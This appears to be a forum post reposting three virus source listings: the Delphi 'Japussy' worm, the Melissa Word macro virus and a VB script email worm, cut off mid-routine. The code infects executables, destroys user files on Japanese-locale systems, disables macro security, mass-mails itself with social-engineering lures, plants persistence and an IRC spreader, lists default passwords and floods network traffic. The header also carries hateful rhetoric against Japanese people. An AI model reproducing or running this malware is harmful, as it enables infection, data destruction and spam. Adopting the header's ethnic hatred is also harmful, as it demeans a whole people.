这个是delphi的
{**********************************************************************}
{ }
{ Crossbow Virus OpenSource Project }
{ }
{ Copyright (C) 1999-2003 Crossbow [CHiNA] }
{ }
{ Taking our names from the great empire, instinct-driven face of the }
{ human psyche, Chinese are, by general acknowledgement, the smartest }
{ race in the world. Today, the sons of Qin Empire will give the just }
{ punishment to those lousy japs, the mose flagitious race of the }
{ world, the biggest enemy of all Chinese. }
{ }
{ All wrathful brethren, Unite! }
{ }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option) }
{ any later version. }
{ }
{ Crossbow病毒开放源代码计划 }
{ }
{ 版权所有 (C) 1999-2003 Crossbow [中国] }
{ }
{ 就像我们的名字来自于那个伟大的帝国一样，人类灵魂的本能所能公认的， }
{ 中华民族，是全世界众所周知最聪明的民族。今天，大秦帝国的子孙们将给予 }
{ 中华民族的世代仇敌，那些卑劣猥琐的倭狗，世界上最无耻、最卑鄙、最残忍 }
{ 的民族以正义的惩罚。 }
{ }
{ 愤怒的炎黄子孙们，团结起来！ }
{ }
{ 这份程序是自由软件，你可以在基于由自由软件基金会(Free Software }
{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原 }
{ 则上再分发和/或修改它，或其后续版本。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ Name: W32.Japussy.Worm.A 0.01 Alpha }
{ Date: 2003/10/21 }
{ Compiler: Delphi 5 or later }
{ Contributors: Sorted by Alphabet }
{ BaiLaoHu [[email protected]] }
{ Crossbow [[email protected]] }
{ JunFengRen [[email protected]] }
{ ThenLong [[email protected]] }
{ TieXinLiu [[email protected]] }
{ Total 5 persons }
{ }
{ 名字: W32.Japussy.Worm.A 0.01 Alpha }
{ 日期: 2003/10/21 }
{ 编译器: Delphi 5或更新 }
{ 参与者: 以字母顺序排列 }
{ BaiLaoHu [[email protected]] }
{ Crossbow [[email protected]] }
{ JunFengRen [[email protected]] }
{ ThenLong [[email protected]] }
{ TieXinLiu [[email protected]] }
{ 目前总共5人 }
{**********************************************************************}
{**********************************************************************}
{ 待解决的问题: }
{ }
{ 1. WinNT下远程线程映射到Explorer进程 }
{ 1. WinNT下获得管理员权限 }
{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件 }
{ 3. Base64编码，在保持不大幅增加病毒体大小的前提下 }
{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关 }
{ 5. 能杀掉常见防火墙和杀毒软件进程 }
{ 6. 绝对磁盘扇区写操作，摧毁分区表和文件分配表 }
{**********************************************************************}
{**********************************************************************}
{ 这份计划借鉴了SOJ老大的代码，并做了大量的修改和完善。Upx压缩过的病毒 }
{ 体只有38K，和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于 }
{ 没有修改入口点，目前Norton AntiVirus 2001无法查出它。 }
{ }
{ 我认为与其在论坛上对倭狗破口大骂，还不如做点实事。一来可以学习知识， }
{ 提高水平，认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头， }
{ 还是很惬意的。我的目标是感染1000万台以上的机器。 }
{ }
{ 目前这个病毒还远远没有达到预定的设想，所以希望大家一起来完善它。如果 }
{ 可能，以后会用Win32Asm重写它。 }
{ }
{ 这是一个公益计划，本着完全自愿开发的原则。希望大家在不影响工作的情况 }
{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇 }
{ 病毒的代码和资料，我将不定期在CSDN上公布计划的进度。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ 严重警告: }
{ }
{ ！！！请不要在未读懂源代码的情况下编译运行本程序，否则后果自负！！！ }
{ }
{ 我们交流的是技术，展示的源代码和相关代码的目的只是为了说明技术的原理 }
{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏，应由其本人负 }
{ 责，与本计划的参与者无关！！！ }
{ }
{**********************************************************************}
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
这个就是美丽莎
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso
ft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof
t\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microso
ft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Applic
ation.UserName
BreakUmOffASlice.Body = "Here is that document you asked for
... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsof
t\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document
") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points,
plus triple-word-score, plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub
这个是一个脚本病毒
Dim Fso, Wnt, Wol, Wom, Wos, Windir, Winsys, Wincmd, Wintmp, NewFile, OldFile, OutLook, TextBody, Program, EUser, HUser, EPassword, EmailAddress, EmailSubject, EmailBody, EmailPrg
Sub Main()
On Error Resume Next
Dim Server, TmpAddress As String, Start, Last, Start1, Last1
Call Init
Call Copy_To
Call Auto_Run
Call Mail_Worm
For Each Drive In Fso.Drives
Call Sub_Folder(Fso.GetFolder(Drive & "\"))
Next Drive
Let Start = 0
Let Last = 0
Do Until (Last >= Len(EmailAddress))
Let Start = Last + 1
Let Last = InStr(Start, EmailAddress, "*")
If Send_Ok(Mid(EmailAddress, Start, Last - Start)) = True Then
Send_Mail (Mid(EmailAddress, Start, Last - Start))
End If
Loop
Wos.SignOff
Set Wos = Nothing
Set Wom = Nothing
Set Wol = Nothing
Call Net_Work
End Sub
Sub Init()
On Error Resume Next
Dim Tmp
Randomize Minute(Time) + Hour(Time) + Second(Time) + Day(Date)
Set Fso = CreateObject("scripting.filesystemobject")
Set Wnt = CreateObject("wscript.network")
Set Wol = CreateObject("outlook.application")
Let OutLook = True
If Err.Number = 429 Then OutLook = False
Let Windir = Fso.GetSpecialFolder(WindowsFolder)
Let Winsys = Fso.GetSpecialFolder(SystemFolder)
Let Wintmp = Fso.GetSpecialFolder(TemporaryFolder)
Let Wincmd = Windir & "\Command\Ebd"
Let Program = GetExeName
Let EUser = "administrator*admin*master*webmaster*webroot*root*system*"
Let EPassword = "internet*administrator*admin*master*network*webserver*server*root*webmaster*webroot*system*windows*computer*passwd*password*webroot*shell*login*webpage*nopasswd*nopassword*1234*4321*"
End Sub
Function Send_Ok(Address)
On Error Resume Next
Send_Ok = True
If Not Fso.FileExists(Winsys & "\Erifeci.Vxd") Then
Set NewFile = Fso.CreateTextFile(Winsys & "\Erifeci.Vxd")
NewFile.WriteLine "[PostMaster.Exe V1.0 MadeIn:CHINA]"
NewFile.WriteLine Address
NewFile.Close
Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 7
Else:
Let TextBody = ""
Set OldFile = Fso.OpenTextFile(Winsys & "\Erifeci.Vxd")
Do Until (OldFile.AtEndOfStream)
Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
Loop
OldFile.Close
If InStr(TextBody, Address) Then
Let Send_Ok = False
Else:
Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 0
Set OldFile = Fso.OpenTextFile(Winsys & "\Erifeci.Vxd", 2)
OldFile.Write TextBody
OldFile.WriteLine Address
OldFile.Close
Fso.GetFile(Winsys & "\Erifeci.Vxd").Attributes = 7
End If
End If
End Function
Sub Send_Mail(Address)
On Error Resume Next
Dim Mail, Tmp, User, Server, Start, Last
Let Start = 1
Let Last = InStr(Address, "@")
Let User = Mid(Address, 1, Last - Start)
Let Server = Right(Address, Len(Address) - (Len(User) + 1))
Let Tmp = Int((Rnd * 4) + 1)
Select Case Tmp
Case 1:
Let EmailSubject = User & ",How Are You?"
Let EmailBody = EmailSubject & vbCrLf & Space(2) & "If You Like Cool Screen Save,Please Check This Attachment File." & vbCrLf & _
"If You Have Other Cool Screen Save,Please Send To Me!My New E-Mail Address Is:" & "New" & User & "@" & Server & ".Thanks!"
Let EmailPrg = Wintmp & "\My-Cool-Screen-Save.Scr"
Case 2:
Let EmailSubject = "This Mail For My " & User & "!"
Let EmailBody = " I Very Like Play Computer Game,Attachment Is Very Well Computer Game.If You Like Play Too Me,Please Check This Attachment File." & vbCrLf & _
"If You Have Other Game,Please Send To Me!My New E-Mail Address Is:" & "New" & User & "@" & Server & ".Thanks!"
Let EmailPrg = Wintmp & "\Well-Computer-Game.Exe"
Case 3:
Let EmailSubject = User & ",Help Me!"
Let EmailBody = " Please Open Attachment File,You Can See A Photo,But I Don't Know Is Who?Please Help Me!" & vbCrLf & _
"Please Send Your Reply To Me! My New E-Mail Address Is:New" & User & "@" & Server & ".Thanks!"
Let EmailPrg = Wintmp & "\Photo.Jpg.Scr"
Case 4:
Let EmailSubject = "Sex Movie For My " & User & "!"
Let EmailBody = " Attachment Is Sex Movie.If You Like,Please Check Attachment File.If You Have Other Sex Movie,Please " & vbCrLf & _
"Don't Forget Me,I Need!Please Send Your Movie To My New E-Mail Address:" & "New" & User & "@" & Server & ".Thanks!"
Let EmailPrg = Wintmp & "\Sex-Movie.Exe"
End Select
Fso.CopyFile Winsys & "\Himem.Exe", EmailPrg
If OutLook = True Then
Set Mail = Wol.CreateItem(0)
Mail.Recipients.Add (Address)
Mail.Subject = EmailSubject
Mail.Body = EmailBody
Mail.Attachments.Add (EmailPrg)
Mail.Send
Else:
Wom.Compose
Wom.MsgIndex = -1
Wom.RecipAddress = Address
Wom.MsgSubject = EmailSubject
Wom.MsgNoteText = EmailBody
Wom.AttachmentPathName = EmailPrg
Wom.Send
End If
Set Mail = Nothing
Fso.GetFile(EmailPrg).Attributes = 0
Fso.DeleteFile EmailPrg
End Sub
Sub Mail_Worm()
On Error Resume Next
Dim Times, Mapi, A, Ctrentries
If OutLook = False Then
Set Wom = CreateObject("MSMAPI.MapiMessages")
Set Wos = CreateObject("MSMAPI.MapiSession")
Wos.DownLoadMail = False
Wos.NewSession = False
Wos.LogonUI = True
Wos.SignOn
Wom.SessionID = Wos.SessionID
Wom.FetchSorted = True
Wom.Fetch
For Times = 0 To Wom.MsgCount - 1
Wom.MsgIndex = Times
If Send_Ok(Wom.MsgOrigAddress) = True Then Send_Mail (Wom.MsgOrigAddress)
Next
Else:
Set Mapi = Wol.GetNameSpace("MAPI")
For ctrlists = 1 To Mapi.AddressLists.Count
Set A = Mapi.AddressLists(ctrlists)
For Ctrentries = 1 To A.AddressEntries.Count
If Send_Ok(A.AddressEntries(Ctrentries)) = True Then Send_Mail (A.AddressEntries(Ctrentries))
Next
Next
Set Mapi = Nothing
Set A = Nothing
End If
End Sub
Function GetExeName()
On Error Resume Next
Dim GetReally As Boolean
Let GetReally = False
Do Until (GetReally = True)
If Len(App.Path) = 3 Then
Let FileName = App.Path & LCase(Dir(App.Path & App.EXEName & ".*"))
Else:
Let FileName = App.Path & "\" & LCase(Dir(App.Path & "\" & App.EXEName & ".*"))
End If
If InStr(FileName, "exe") Or InStr(FileName, "scr") Or InStr(FileName, "pif") Or InStr(FileName, "com") Then
Let TextBody = ""
Set OldFile = Fso.OpenTextFile(FileName)
Do Until (OldFile.AtEndOfStream)
Let TextBody = TextBody & OldFile.ReadLine
Loop
OldFile.Close
If Fso.GetFile(FileName).Size = 18944 Then GetReally = True: GetExeName = FileName
End If
Loop
End Function
Sub Copy_To()
On Error Resume Next
If Not Fso.FileExists(Winsys & "\Himem.Exe") Then
Shell Windir & "\Explorer.Exe", vbMaximizedFocus
Fso.CopyFile Program, Winsys & "\Himem.Exe"
Fso.GetFile(Winsys & "\Himem.Exe").Attributes = 7
End If
For Each Drive In Fso.Drives
If Not Fso.FileExists(Drive & "\Sex_Movie.Scr") Then
Fso.CopyFile Program, Drive & "\Sex_Movie.Scr"
Fso.GetFile(Drive & "\Sex_Movie.Scr").Attributes = 5
End If
Next
If Not Fso.FileExists(Wincmd & "\Sex_Movie.Scr") Then
Fso.CopyFile Program, Wincmd & "\Sex_Movie.Scr"
Fso.GetFile(Wincmd & "\Sex_Movie.Scr").Attributes = 5
End If
End Sub
Sub Auto_Run()
On Error Resume Next
Dim Tmp As Integer
TextBody = ""
Set OldFile = Fso.OpenTextFile(Windir & "\System.ini")
Do Until (OldFile.AtEndOfStream)
TextBody = TextBody & OldFile.ReadLine & vbCrLf
Loop
OldFile.Close
If InStr(LCase(TextBody), "shell=explorer.exe " & LCase(Winsys) & "\himem.exe") = 0 Then
Let Tmp = Fso.GetFile(Windir & "\System.ini").Attributes
Fso.GetFile(Windir & "\System.ini").Attributes = 0
Set NewFile = Fso.OpenTextFile(Windir & "\System.ini", 2)
NewFile.Write Replace(LCase(TextBody), "shell=explorer.exe", "shell=Explorer.exe " & Winsys & "\Himem.exe")
NewFile.Close
Fso.GetFile(Windir & "\System.ini").Attributes = Tmp
End If
End Sub
Sub Sub_Folder(SubFolder)
On Error Resume Next
For Each File In SubFolder.Files
Call Sub_File(File)
Next File
For Each Folder In SubFolder.SubFolders
Call Sub_Folder(Folder)
Next Folder
End Sub
Sub Sub_File(File)
On Error Resume Next
Dim ExtName, Mirc, Address, Start, Last, Times, NoLetter
Let ExtName = LCase(Fso.GetExtensionName(File.Path))
If LCase(File.Name) = "mirc.ini" And InStr(LCase(File.Path), "\mirc") Then
Let Mirc = Fso.GetParentFolderName(File.Path)
Fso.GetFile(Mirc & "\Script.ini").Attributes = 0
Set NewFile = Fso.CreateTextFile(Mirc & "\Script.ini", True)
NewFile.WriteLine ";PostMaster.Exe V1.0 MadeIn:CHINA"
NewFile.WriteLine ";Good Wish For You!!!"
NewFile.WriteLine "n0=on 1:JOIN:#:{"
NewFile.WriteLine "n1= /if ( $nick == $me ) { halt }"
NewFile.WriteLine "n2= /.dcc send $nick " & Wincmd & "\Sex_Movie.Scr"
NewFile.WriteLine "n3=}"
NewFile.Close
Fso.GetFile(Mirc & "\Script.ini").Attributes = 7
ElseIf ExtName = "htm" Or ExtName = "html" Or ExtName = "hta" Or _
ExtName = "shtml" Or ExtName = "shtm" Then
TextBody = ""
Set OldFile = Fso.OpenTextFile(File.Path)
Do Until (OldFile.AtEndOfStream)
Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
Loop
OldFile.Close
Let Start = 1
Do Until (Start = 0)
Let NoLetter = True
Let Start = InStr(Start, LCase(TextBody), "mailto:")
If Start <> 0 Then Start = Start + 7: NoLetter = False
Let Times = Start
Do Until (NoLetter = True)
If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1)) = 0 And Times >= Start + 8 Then
Let NoLetter = True
Else:
Let Times = Times + 1
End If
Loop
Let Last = Times
If Start <> 0 Then
Let Address = LCase(Mid(TextBody, Start, Last - Start))
If InStr(Address, ".com") Or InStr(Address, ".net") Or InStr(Address, ".edu") Or InStr(Address, ".org") Or InStr(Address, ".mil") Or InStr(Address, ".gov") Then
If Right(Address, 1) <> "." Then
Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start)) & "*"
Else:
Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start - 1)) & "*"
End If
End If
Let Start = Start + 1
End If
Loop
ElseIf InStr("docwpscomexelnkpifbmpswfscrwavmpgmp3mp4", EXEName) = 0 Then
Let TextBody = ""
Set OldFile = Fso.OpenTextFile(File.Path)
Do Until (OldFile.AtEndOfStream)
Let TextBody = TextBody & OldFile.ReadLine & vbCrLf
Loop
OldFile.Close
Let Start = 1
Do Until (Start = 0)
Let NoLetter = True
Let Start = InStr(Start, LCase(TextBody), "mail:")
If Start <> 0 Then Let NoLetter = False: Let Start = Start + 5
Let Times = Start
Do Until (NoLetter = True)
If InStr("abcdefghijklmnopqrstuvwxyz0123456789@._", Mid(TextBody, Times, 1)) = 0 And Times >= Start + 8 Then
Let NoLetter = True
Else:
Let Times = Times + 1
End If
Loop
Let Last = Times
If Start <> 0 Then
Let Address = LCase(Mid(TextBody, Start, Last - Start))
If InStr(Address, ".com") Or InStr(Address, ".net") Or InStr(Address, ".edu") Or InStr(Address, ".org") Or InStr(Address, ".mil") Or InStr(Address, ".gov") Then
If Right(Address, 1) <> "." Then
Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start)) & "*"
Else:
Let EmailAddress = EmailAddress & LTrim(Mid(TextBody, Start, Last - Start - 1)) & "*"
End If
End If
Let Start = Start + 1
End If
Loop
End If
End Sub
Sub Net_Work()
On Error Resume Next
Dim IP1, IP2, IP3, IP4, ShareName
If Day(Date) = 31 Then
Do
DoEvents
Form1.Winsock1.SendData "911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911" & _
"911911911911911911911911911911911911911911911911"
Loop
Else:
Do
Start:
DoEvents
